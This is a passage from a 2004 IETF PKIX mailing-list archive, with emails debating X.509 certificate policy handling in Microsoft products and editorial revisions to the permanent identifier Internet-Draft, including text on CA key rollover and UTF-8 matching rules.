respectively.  This enables the creation of shrink-wrap RP software
as well as shielding end-users from too close encounters with PKI.

This also allows trust admins to anytime, using "CA properties",
view what "they actually currently trust", without having a single
EE certificate!

Anders



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0RGOYkX037139; Tue, 27 Jan 2004 08:24:35 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0RGOYQR037138; Tue, 27 Jan 2004 08:24:34 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from aragorn.bbn.com (aragorn.bbn.com [128.33.0.62]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0RGOXHM037128 for <[e-mail]>; Tue, 27 Jan 2004 08:24:33 -0800 (PST) (envelope-from [e-mail])
Received: from [128.89.89.75] (dhcp89-089-075.bbn.com [128.89.89.75]) by aragorn.bbn.com (8.12.7/8.12.7) with ESMTP id i0RGOSM9015011; Tue, 27 Jan 2004 11:24:29 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p06020409bc3c3f827415@[128.89.89.75]>
In-Reply-To: <041c01c3e4eb$a5411820$0500a8c0@arport>
References: <020201c3e4c2$90d03b60$0500a8c0@arport> <p06020403bc3c20462220@[128.89.89.75]> <041c01c3e4eb$a5411820$0500a8c0@arport>
Date: Tue, 27 Jan 2004 11:19:56 -0500
To: "Anders Rundgren" <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: Re: Setting X.509 Policy Data in IE, IIS, Outlook
Cc: <[e-mail]>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang)
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

At 16:38 +0100 1/27/04, Anders Rundgren wrote:
>  >>However, I have not found any place where you can set the
>>>policy filtering in relying party apps like MSIE, IIS, or Outlook.
>
>>well, if you choose MS products as a good example of anything, you
>>are likely to be disappointed :-)  for example, the Windows
>>implementation of IPsec does not provide a compliant management
>>interface for the security policy database.
>
>Although "MS-bashing" seems to be "come-il-faut" these days,
>it would be a bit more interesting to hear how "the good guys"
>(whatever that means), handle policy settings.

"MS-bashing" is not even a hobby, as it offers no challenge. but 
holding up any MS product as a reference for how a security function 
should be performed is the epitome of silliness, and warrants comment.

>Borrowing from your IPsec complaints:
>A "compliant management interface for the security policy database"
>for X.509 would be fun to review.  As far as I can see, the X.509
>policy mechanisms are flawed to the point where it becomes technically
>infeasible to specify such an interface.  But I stay interested if anybody
>dares to challenge that statement with something tangible instead of
>the usual PKI mumbo-jumbo, like "there are many ways to do this".

A challenge with no apparent reward to motivate a response, as usual ...


Steve



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0RFiI4h034395; Tue, 27 Jan 2004 07:44:18 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0RFiItc034394; Tue, 27 Jan 2004 07:44:18 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from av5-2-sn1.fre.skanova.net (av5-2-sn1.fre.skanova.net [81.228.11.112]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0RFiHHE034385 for <[e-mail]>; Tue, 27 Jan 2004 07:44:18 -0800 (PST) (envelope-from [e-mail])
Received: by av5-2-sn1.fre.skanova.net (Postfix, from userid 502) id 055CF37EBB; Tue, 27 Jan 2004 16:44:10 +0100 (CET)
Received: from smtp5.hy.skanova.net (smtp5.hy.skanova.net [195.67.199.134]) by av5-2-sn1.fre.skanova.net (Postfix) with ESMTP id DF70537E4B; Tue, 27 Jan 2004 16:44:10 +0100 (CET)
Received: from arport (t8o913p35.telia.com [213.64.26.155]) by smtp5.hy.skanova.net (8.12.10/8.12.10) with SMTP id i0RFi97N023046; Tue, 27 Jan 2004 16:44:09 +0100 (CET)
Message-ID: <041c01c3e4eb$a5411820$0500a8c0@arport>
From: "Anders Rundgren" <[e-mail]>
To: "Stephen Kent" <[e-mail]>
Cc: <[e-mail]>
References: <020201c3e4c2$90d03b60$0500a8c0@arport> <p06020403bc3c20462220@[128.89.89.75]>
Subject: Re: Setting X.509 Policy Data in IE, IIS, Outlook
Date: Tue, 27 Jan 2004 16:38:42 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

>>However, I have not found any place where you can set the
>>policy filtering in relying party apps like MSIE, IIS, or Outlook.

>well, if you choose MS products as a good example of anything, you 
>are likely to be disappointed :-)  for example, the Windows 
>implementation of IPsec does not provide a compliant management 
>interface for the security policy database.

Although "MS-bashing" seems to be "come-il-faut" these days,
it would be a bit more interesting to hear how "the good guys"
(whatever that means), handle policy settings.

Borrowing from your IPsec complaints:
A "compliant management interface for the security policy database"
for X.509 would be fun to review.  As far as I can see, the X.509
policy mechanisms are flawed to the point where it becomes technically
infeasible to specify such an interface.  But I stay interested if anybody
dares to challenge that statement with something tangible instead of
the usual PKI mumbo-jumbo, like "there are many ways to do this".

Anders



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0RE9ih0026888; Tue, 27 Jan 2004 06:09:44 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0RE9iJe026887; Tue, 27 Jan 2004 06:09:44 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from aragorn.bbn.com (aragorn.bbn.com [128.33.0.62]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0RE9gfp026875 for <[e-mail]>; Tue, 27 Jan 2004 06:09:42 -0800 (PST) (envelope-from [e-mail])
Received: from [128.89.89.75] (dhcp89-089-075.bbn.com [128.89.89.75]) by aragorn.bbn.com (8.12.7/8.12.7) with ESMTP id i0RE9bM9005814; Tue, 27 Jan 2004 09:09:37 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p06020403bc3c20462220@[128.89.89.75]>
In-Reply-To: <020201c3e4c2$90d03b60$0500a8c0@arport>
References: <020201c3e4c2$90d03b60$0500a8c0@arport>
Date: Tue, 27 Jan 2004 09:05:53 -0500
To: "Anders Rundgren" <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: Re: Setting X.509 Policy Data in IE, IIS, Outlook
Cc: <[e-mail]>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang)
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

At 11:44 +0100 1/27/04, Anders Rundgren wrote:
>It has been touted that policy OIDs are essntial for building PKIs.

not true in all cases, maybe not even in most cases.  who are you citing?

>However, I have not found any place where you can can set the
>policy filtering in relying party apps like MSIE, IIS, or Outlook.

well, if you choose MS products as a good example of anything, you 
are likely to be disappointed :-)  for example, the Windows 
implementation of IPsec does not provide a compliant management 
interface for the security policy database.

...


Steve



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0RDBntt021560; Tue, 27 Jan 2004 05:11:49 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0RDBn7Z021559; Tue, 27 Jan 2004 05:11:49 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mtiwmhc12.worldnet.att.net (mtiwmhc12.worldnet.att.net [204.127.131.116]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0RDBmLw021550 for <[e-mail]>; Tue, 27 Jan 2004 05:11:49 -0800 (PST) (envelope-from [e-mail])
Received: from wchokhani (11.washington-27rh16rt-28rh15rt.dc.dial-access.att.net[12.77.42.11]) by worldnet.att.net (mtiwmhc12) with SMTP id <2004012713114011200o70jqe>; Tue, 27 Jan 2004 13:11:41 +0000
From: "Santosh Chokhani" <[e-mail]>
To: <[e-mail]>
Subject: RE: I-D ACTION:draft-ietf-pkix-pi-08.txt
Date: Tue, 27 Jan 2004 08:11:35 -0500
Message-ID: <00bc01c3e4d7$17f1f3e0$[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4510
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
In-Reply-To: <[e-mail]>
Importance: Normal
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id i0RDBnLw021553
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Denis:

Sounds good to me.  Thanks.

-----Original Message-----
From: Denis Pinkas [mailto:[e-mail]] 
Sent: Tuesday, January 27, 2004 8:08 AM
To: Santosh Chokhani
Cc: [e-mail]
Subject: Re: I-D ACTION:draft-ietf-pkix-pi-08.txt


Santosh,

> Denis and Tom:

> Section 3, Security Considerations, Page 4, paragraph 6 for the 
> Section, of the RFC contains description of how to match PI when 
> identifier type is absent.

> One of the comparison is that of public keys.  While being a good 
> comparison, it can give you false results in case of CA key roll-over.  
> Do you think it is worth mentioning.  The other match described in the 
> same epigraph for CA names may have problems also if there are any 
> self-issued certificates for key roll-over.

First of all, your remark is fully correct.

The current text is as follows:

     Since a name is only unique towards its superior CA, unless some
     naming constraints are being used, a name would only be guaranteed
     to be globally unique when considered to include a sequence of all
     the names of the superior CAs.  Thus, two certificates which contain
     a permanent identifier extension without a identifierType may have
     their permanent identifier extensions compared for equality either
     by comparing the public key values of the two CAs which have issued
     these two certificates or by comparing the sequence of CA names in
     the certification path from the trust anchor to the CA, inclusive.

I would propose to replace it with the following text:

     Since a name is only unique towards its superior CA, unless some
     naming constraints are being used, a name would only be guaranteed
     to be globally unique when considered to include a sequence of all
     the names of the superior CAs.  Thus, two certificates that are
     issued under the same issuer DN and which contain the same
     permanent identifier extension without a identifierType do not
     necessarily refer to the same entity.

     Additional checks need to be done, e.g. to check if the public key
     values of the two CAs which have issued the certificates to be
     compared are identical or if the sequence of CA names in the
     certification path from the trust anchor to the CA are identical.
     When the above checks fail, the permanents identifiers may still
     match if there has been a CA key rollover. In such a case the
     checking is more complicated.

Denis

> -----Original Message-----
> From: [e-mail] 
> [mailto:[e-mail]] On Behalf Of Denis Pinkas
> Sent: Friday, January 23, 2004 8:14 AM
> To: [e-mail]
> Cc: 'Tom Gindin'; [e-mail]
> Subject: Re: I-D ACTION:draft-ietf-pkix-pi-08.txt
> 
> 
> 
> Jim,
> 
> Thank you for your document quality checking.
> 
> 
>>Comments on draft -08.
>>
>>1.  Privacy concerns should be additionally outlined and covered in
>>the security considerations section.
> 
> 
> This point is already covered. Here is the text :
> 
>     The permanent identifier allows organizations to create links
>     between different certificates associated with an entity issued
>     with or without overlapping validity periods.  This ability to link
>     different certificates may conflict with privacy.  It is therefore
>     important that a CA clearly disclose any plans to issue certificates
>     which include a permanent identifier to potential subjects of those
>     certificates.
> 
> 
>>2.  Section 1, para 9: Text here allows for an AA to have a unique URI
>>name.  Has been removed from the syntax.
> 
> 
> You were so fast by replying to the publication, that I had not the 
> time to
> advertise the main reason for issuing this new draft.
> 
> It is because the IESG objected to include URI in the document and 
> that we
> (i.e. Tom and myself) have been unable to find a compromise with the IESG.

> So we have removed the URI option. You are correct: this sentence should 
> have been deleted.
> 
> Done.
> 
> 
>>3.  Section 1, para 14:  Suggested text "both the same permanent
>>identifier value and the same Authority Identifer Value, then these". 
>>(I find the use of identityType to be confusing since I consider this 
>>to relate to type choice of IdentifierValue as well.)
> 
> 
> "identityType" is not used. "identifierType" is used instead. The 
> ASN.1 for identifierType is :
> 
>      identifierType         OBJECT IDENTIFIER      OPTIONAL
> 
> The current text is:
> 
>     "When two certificates from different CA's contain both the same
>     permanent identifier value and the same type of permanent
>     identifier from a given Assigner Authority, then these
>     certificates relate to the same entity, whatever the content of
>     the DN or other subjectAltName components may be."
> 
> Changing "same type of permanent identifier" by "Authority Identifer 
> Value"
> would not be appropriate. The identifierType does not simply identify the 
> Authority, but also the type of identifier being used.
> 
> I would propose the following text:
> 
>     When two certificates from the same CA or from different CA's
>     contain both the same permanent identifier value and the same
>     identifier type value, then these certificates relate to the
>     same entity, whatever the content of the DN or other subjectAltName
>     components may be.
> 
> 
>>4.  Section 2:  What is the criteria for use of iA5String vs
>>uTF8String?
> 
> 
> Good question. No good answer ! I thus propose to simplify and just 
> have the
> 
> following:
> 
> PermanentIdentifier ::=  SEQUENCE {
>      identifierValue          UTF8String,
>      identifierType           OBJECT IDENTIFIER  OPTIONAL }
> 
> Here is the new text for UTF8.
> 
>     The IdentifierValue supports one syntax: UTF8String. UTF8String is
>     variable length data of octets. The UTF8String syntax is used to
>     express a string of characters from the Universal Character Set
>     - UCS [ISO10646] (a superset of [Unicode]), encoded following the
>     [UTF-8] algorithm. The UCS allows support of most of the world's
>     writing systems using a single character set.
> 
>     Note that Unicode characters U+0000 through U+007F are the same as
>     ASCII 0 through 127, respectively, and have the same single octet
>     UTF-8 encoding.  Other Unicode characters have a multiple octet
>     UTF-8 encoding.
> 
> 
>>5.  Section 2:  When doing comparisons do I need to cross compare
>>these two different value items?
> 
> 
> Added the following:
> 
>     The following matching rule SHALL be used for the identifierValue:
>     the rule evaluates to TRUE if and only if the code points [Unicode]
>     of each of the characters is equal.
> 
> Also added the following references:
> 
>     [Unicode] The Unicode Consortium, "The Unicode Standard, Version
>     3.2.0" is defined by "The Unicode Standard, Version 3.0"
>     (Reading, MA, Addison-Wesley, 2000. ISBN 0-201-61633-5), as amended
>     by the "Unicode Standard Annex #27: Unicode 3.1"
>     (http://www.unicode.org/reports/tr27/) and by the "Unicode Standard
>     Annex #28: Unicode 3.2" (http://www.unicode.org/reports/tr28/).
> 
>     [ISO10646] Universal Multiple-Octet Coded Character Set (UCS) -
>     Architecture and Basic Multilingual Plane, ISO/IEC 10646-1: 1993.
> 
>     [UTF-8] RFC 2279. F. Yergeau. UTF-8, a transformation format of
>     ISO 10646, January 1998.
> 
> 
>>6.  Section 2: The statement 'It is an OID.' is redundant and can be
>>removed.
> 
> 
> OK. Forgotten.
> 
> 
>>7.  Section 3: Contains a paragraph dealing with matching rules.
>>Since this is no longer a field in the structure the paragraph should 
>>be re-written to state what the one and only matching rule is.
> 
> 
> See the response to the issue number 5.
> 
> 
>>8.  Appendix A.1:  New request, please put a reference to the document
>>containing the pkix module into the pkix document (i.e. something like
>>"-- found in [RFC 3280]".  This prevents documents from importing 
>>modules that are lower in the standards process without having any 
>>explicit reference to them.
> 
> 
> Added:
> 
> -- from [RFC 3280]
> 
> Before I update the document and place it on the web server, I would 
> be
> grateful to get your response on these proposals.
> 
> Denis
> 
> 
>>jim
>>
>>
>>
>>
>>>-----Original Message-----
>>>From: [e-mail] 
>>>[mailto:[e-mail]] On Behalf Of 
>>>[e-mail]
>>>Sent: Wednesday, January 21, 2004 1:27 PM
>>>To: IETF-Announce:
>>>Cc: [e-mail]
>>>Subject: I-D ACTION:draft-ietf-pkix-pi-08.txt
>>>
>>>
>>>A New Internet-Draft is available from the on-line Internet-Drafts 
>>>directories. This draft is a work item of the Public-Key 
>>>Infrastructure (X.509) Working Group of the IETF.
>>>
>>>	Title		: Internet X.509 Public Key 
>>>Infrastructure Permanent Identifier
>>>	Author(s)	: D. Pinkas, T. Gindin
>>>	Filename	: draft-ietf-pkix-pi-08.txt
>>>	Pages		: 12
>>>	Date		: 2004-1-21
>>>	
>>>This document define a new form of name, called permanent identifier, 
>>>that may be included in the subjectAltName extension of a public key 
>>>certificate issued to an entity. The permanent identifier is an 
>>>optional feature that may be used by a CA to indicate that the 
>>>certificate relates to the same entity even if the name or the 
>>>affiliation of that entity stored in the subject or another name form 
>>>in the subjectAltName extension has changed.
>>>The subject name, carried in the subject field, is only unique 
>>>for each subject entity certified by the one CA as defined by the 
>>>issuer name field. Also, the new name form can carry a 
>>>name that is unique for each subject entity certified by a CA.
>>>
>>>A URL for this Internet-Draft is: 
>>>http://www.ietf.org/internet-drafts/draft-> ietf-pkix-pi-08.txt
>>>
>>>
>>>To remove yourself from the IETF
>>>Announcement list, send a message to
>>>ietf-announce-request with the word unsubscribe in the body 
>>>of the message.
>>>
>>>Internet-Drafts are also available by anonymous FTP. Login with the 
>>>username "anonymous" and a password of your e-mail address. After 
>>>logging in, type "cd internet-drafts" and then
>>>	"get draft-ietf-pkix-pi-08.txt".
>>>
>>>A list of Internet-Drafts directories can be found in
>>
>>http://www.ietf.org/shadow.html
>>or ftp://ftp.ietf.org/ietf/1shadow-sites.txt
>>
>>
>>Internet-Drafts can also be obtained by e-mail.
>>
>>Send a message to:
>>	[e-mail].
>>In the body type:
>>	"FILE /internet-drafts/draft-ietf-pkix-pi-08.txt".
>>	
>>NOTE:	The mail server at ietf.org can return the document in
>>	MIME-encoded form by using the "mpack" utility.  To use this
>>	feature, insert the command "ENCODING mime" before the "FILE"
>>	command.  To decode the response(s), you will need "munpack" or
>>	a MIME-compliant mail reader.  Different MIME-compliant mail readers
>>	exhibit different behavior, especially when dealing with
>>	"multipart" MIME messages (i.e. documents which have been split
>>	up into multiple messages), so check your local documentation on
>>	how to manipulate these messages.
>>		
>>		
>>Below is the data which will enable a MIME compliant mail reader
>>implementation to automatically retrieve the ASCII version of the 
>>Internet-Draft.
>>
>>
> 
> 
> 
> 





Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0RD891Y021219; Tue, 27 Jan 2004 05:08:09 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0RD89wq021218; Tue, 27 Jan 2004 05:08:09 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0RD85i9021211 for <[e-mail]>; Tue, 27 Jan 2004 05:08:07 -0800 (PST) (envelope-from [e-mail])
Received: from clbull.frcl.bull.fr (IDENT:[e-mail] [129.182.8.31]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id OAA37894; Tue, 27 Jan 2004 14:15:41 +0100
Received: from bull.net (frcls4013.frcl.bull.fr [129.182.108.120]) by clbull.frcl.bull.fr (8.9.3/8.9.3) with ESMTP id PAA28927; Tue, 27 Jan 2004 15:03:21 +0100
Message-ID: <[e-mail]>
Date: Tue, 27 Jan 2004 14:08:02 +0100
From: Denis Pinkas <[e-mail]>
Organization: Bull SA.
User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0
X-Accept-Language: en-us, en, fr
MIME-Version: 1.0
To: Santosh Chokhani <[e-mail]>
CC: [e-mail]
Subject: Re: I-D ACTION:draft-ietf-pkix-pi-08.txt
References: <022501c3e1c8$8e3850b0$[e-mail]>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Santosh,

> Denis and Tom:

> Section 3, Security Considerations, Page 4, paragraph 6 for the Section, of
> the RFC contains description of how to match PI when identifier type is
> absent.

> One of the comparison is that of public keys.  While being a good
> comparison, it can give you false results in case of CA key roll-over.  Do
> you think it is worth mentioning.  The other match described in the same
> epigraph for CA names may have problems also if there are any self-issued
> certificates for key roll-over. 

First of all, your remark is fully correct.

The current text is as follows:

     Since a name is only unique towards its superior CA, unless some
     naming constraints are being used, a name would only be guaranteed
     to be globally unique when considered to include a sequence of all
     the names of the superior CAs.  Thus, two certificates which contain
     a permanent identifier extension without a identifierType may have
     their permanent identifier extensions compared for equality either
     by comparing the public key values of the two CAs which have issued
     these two certificates or by comparing the sequence of CA names in
     the certification path from the trust anchor to the CA, inclusive.

I would propose to replace it with the following text:

     Since a name is only unique towards its superior CA, unless some
     naming constraints are being used, a name would only be guaranteed
     to be globally unique when considered to include a sequence of all
     the names of the superior CAs.  Thus, two certificates that are
     issued under the same issuer DN and which contain the same
     permanent identifier extension without a identifierType do not
     necessarily refer to the same entity.

     Additional checks need to be done, e.g. to check if the public key
     values of the two CAs which have issued the certificates to be
     compared are identical or if the sequence of CA names in the
     certification path from the trust anchor to the CA are identical.
     When the above checks fail, the permanents identifiers may still
     match if there has been a CA key rollover. In such a case the
     checking is more complicated.

Denis

> -----Original Message-----
> From: [e-mail] [mailto:[e-mail]] On
> Behalf Of Denis Pinkas
> Sent: Friday, January 23, 2004 8:14 AM
> To: [e-mail]
> Cc: 'Tom Gindin'; [e-mail]
> Subject: Re: I-D ACTION:draft-ietf-pkix-pi-08.txt
> 
> 
> 
> Jim,
> 
> Thank you for your document quality checking.
> 
> 
>>Comments on draft -08.
>>
>>1.  Privacy concerns should be additionally outlined and covered in 
>>the security considerations section.
> 
> 
> This point is already covered. Here is the text :
> 
>     The permanent identifier allows organizations to create links
>     between different certificates associated with an entity issued
>     with or without overlapping validity periods.  This ability to link
>     different certificates may conflict with privacy.  It is therefore
>     important that a CA clearly disclose any plans to issue certificates
>     which include a permanent identifier to potential subjects of those
>     certificates.
> 
> 
>>2.  Section 1, para 9: Text here allows for an AA to have a unique URI 
>>name.  Has been removed from the syntax.
> 
> 
> You were so fast by replying to the publication, that I had not the time to 
> advertise the main reason for issuing this new draft.
> 
> It is because the IESG objected to include URI in the document and that we 
> (i.e. Tom and myself) have been unable to find a compromise with the IESG. 
> So we have removed the URI option. You are correct: this sentence should 
> have been deleted.
> 
> Done.
> 
> 
>>3.  Section 1, para 14:  Suggested text "both the same permanent 
>>identifier value and the same Authority Identifer Value, then these". 
>>(I find the use of identityType to be confusing since I consider this 
>>to relate to type choice of IdentifierValue as well.)
> 
> 
> "identityType" is not used. "identifierType" is used instead. The ASN.1 for
> identifierType is :
> 
>      identifierType         OBJECT IDENTIFIER      OPTIONAL
> 
> The current text is:
> 
>     "When two certificates from different CA's contain both the same
>     permanent identifier value and the same type of permanent
>     identifier from a given Assigner Authority, then these
>     certificates relate to the same entity, whatever the content of
>     the DN or other subjectAltName components may be."
> 
> Changing "same type of permanent identifier" by "Authority Identifer Value" 
> would not be appropriate. The identifierType does not simply identify the 
> Authority, but also the type of identifier being used.
> 
> I would propose the following text:
> 
>     When two certificates from the same CA or from different CA's
>     contain both the same permanent identifier value and the same
>     identifier type value, then these certificates relate to the
>     same entity, whatever the content of the DN or other subjectAltName
>     components may be.
> 
> 
>>4.  Section 2:  What is the criteria for use of iA5String vs 
>>uTF8String?
> 
> 
> Good question. No good answer ! I thus propose to simplify and just have the
> 
> following:
> 
> PermanentIdentifier ::=  SEQUENCE {
>      identifierValue          UTF8String,
>      identifierType           OBJECT IDENTIFIER  OPTIONAL }
> 
> Here is the new text for UTF8.
> 
>     The IdentifierValue supports one syntax: UTF8String. UTF8String is
>     variable length data of octets. The UTF8String syntax is used to
>     express a string of characters from the Universal Character Set
>     - UCS [ISO10646] (a superset of [Unicode]), encoded following the
>     [UTF-8] algorithm. The UCS allows support of most of the world's
>     writing systems using a single character set.
> 
>     Note that Unicode characters U+0000 through U+007F are the same as
>     ASCII 0 through 127, respectively, and have the same single octet
>     UTF-8 encoding.  Other Unicode characters have a multiple octet
>     UTF-8 encoding.
> 
> 
>>5.  Section 2:  When doing comparisons do I need to cross compare 
>>these two different value items?
> 
> 
> Added the following:
> 
>     The following matching rule SHALL be used for the identifierValue:
>     the rule evaluates to TRUE if and only if the code points [Unicode]
>     of each of the characters is equal.
> 
> Also added the following references:
> 
>     [Unicode] The Unicode Consortium, "The Unicode Standard, Version
>     3.2.0" is defined by "The Unicode Standard, Version 3.0"
>     (Reading, MA, Addison-Wesley, 2000. ISBN 0-201-61633-5), as amended
>     by the "Unicode Standard Annex #27: Unicode 3.1"
>     (http://www.unicode.org/reports/tr27/) and by the "Unicode Standard
>     Annex #28: Unicode 3.2" (http://www.unicode.org/reports/tr28/).
> 
>     [ISO10646] Universal Multiple-Octet Coded Character Set (UCS) -
>     Architecture and Basic Multilingual Plane, ISO/IEC 10646-1: 1993.
> 
>     [UTF-8] RFC 2279. F. Yergeau. UTF-8, a transformation format of
>     ISO 10646, January 1998.
> 
> 
>>6.  Section 2: The statement 'It is an OID.' is redundant and can be 
>>removed.
> 
> 
> OK. Forgotten.
> 
> 
>>7.  Section 3: Contains a paragraph dealing with matching rules.  
>>Since this is no longer a field in the structure the paragraph should 
>>be re-written to state what the one and only matching rule is.
> 
> 
> See the response to the issue number 5.
> 
> 
>>8.  Appendix A.1:  New request, please put a reference to the document 
>>containing the pkix module into the pkix document (i.e. something like
>>"-- found in [RFC 3280]".  This prevents documents from importing 
>>modules that are lower in the standards process without having any 
>>explicit reference to them.
> 
> 
> Added:
> 
> -- from [RFC 3280]
> 
> Before I update the document and place it on the web server, I would be 
> grateful to get your response on these proposals.
> 
> Denis
> 
> 
>>jim
>>
>>
>>
>>
>>>-----Original Message-----
>>>From: [e-mail]
>>>[mailto:[e-mail]] On Behalf Of 
>>>[e-mail]
>>>Sent: Wednesday, January 21, 2004 1:27 PM
>>>To: IETF-Announce:
>>>Cc: [e-mail]
>>>Subject: I-D ACTION:draft-ietf-pkix-pi-08.txt
>>>
>>>
>>>A New Internet-Draft is available from the on-line
>>>Internet-Drafts directories. This draft is a work item of the 
>>>Public-Key Infrastructure (X.509) Working Group of the IETF.
>>>
>>>	Title		: Internet X.509 Public Key 
>>>Infrastructure Permanent Identifier
>>>	Author(s)	: D. Pinkas, T. Gindin
>>>	Filename	: draft-ietf-pkix-pi-08.txt
>>>	Pages		: 12
>>>	Date		: 2004-1-21
>>>	
>>>This document define a new form of name, called permanent
>>>identifier, that may be included in the subjectAltName extension 
>>>of a public key certificate issued to an entity.
>>>The permanent identifier is an optional feature that may be used 
>>>by a CA to indicate that the certificate relates to the same 
>>>entity even if the name or the affiliation of that entity stored 
>>>in the subject or another name form in the subjectAltName extension 
>>>has changed.
>>>The subject name, carried in the subject field, is only unique 
>>>for each subject entity certified by the one CA as defined by the 
>>>issuer name field. Also, the new name form can carry a 
>>>name that is unique for each subject entity certified by a CA.
>>>
>>>A URL for this Internet-Draft is:
>>>http://www.ietf.org/internet-drafts/draft-> ietf-pkix-pi-08.txt
>>>
>>>
>>>To remove yourself from the IETF
>>>Announcement list, send a message to 
>>>ietf-announce-request with the word unsubscribe in the body 
>>>of the message.
>>>
>>>Internet-Drafts are also available by anonymous FTP. Login
>>>with the username "anonymous" and a password of your e-mail 
>>>address. After logging in, type "cd internet-drafts" and then
>>>	"get draft-ietf-pkix-pi-08.txt".
>>>
>>>A list of Internet-Drafts directories can be found in
>>
>>http://www.ietf.org/shadow.html
>>or ftp://ftp.ietf.org/ietf/1shadow-sites.txt
>>
>>
>>Internet-Drafts can also be obtained by e-mail.
>>
>>Send a message to:
>>	[e-mail].
>>In the body type:
>>	"FILE /internet-drafts/draft-ietf-pkix-pi-08.txt".
>>	
>>NOTE:	The mail server at ietf.org can return the document in
>>	MIME-encoded form by using the "mpack" utility.  To use this
>>	feature, insert the command "ENCODING mime" before the "FILE"
>>	command.  To decode the response(s), you will need "munpack" or
>>	a MIME-compliant mail reader.  Different MIME-compliant mail readers
>>	exhibit different behavior, especially when dealing with
>>	"multipart" MIME messages (i.e. documents which have been split
>>	up into multiple messages), so check your local documentation on
>>	how to manipulate these messages.
>>		
>>		
>>Below is the data which will enable a MIME compliant mail reader 
>>implementation to automatically retrieve the ASCII version of the 
>>Internet-Draft.
>>
>>
> 
> 
> 
> 




Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0RAoKnG010329; Tue, 27 Jan 2004 02:50:20 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0RAoKTQ010321; Tue, 27 Jan 2004 02:50:20 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from av5-2-sn4.m-sp.skanova.net (av5-2-sn4.m-sp.skanova.net [81.228.10.111]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0RAoI33010247 for <[e-mail]>; Tue, 27 Jan 2004 02:50:19 -0800 (PST) (envelope-from [e-mail])
Received: by av5-2-sn4.m-sp.skanova.net (Postfix, from userid 502) id 74EC837E42; Tue, 27 Jan 2004 11:50:07 +0100 (CET)
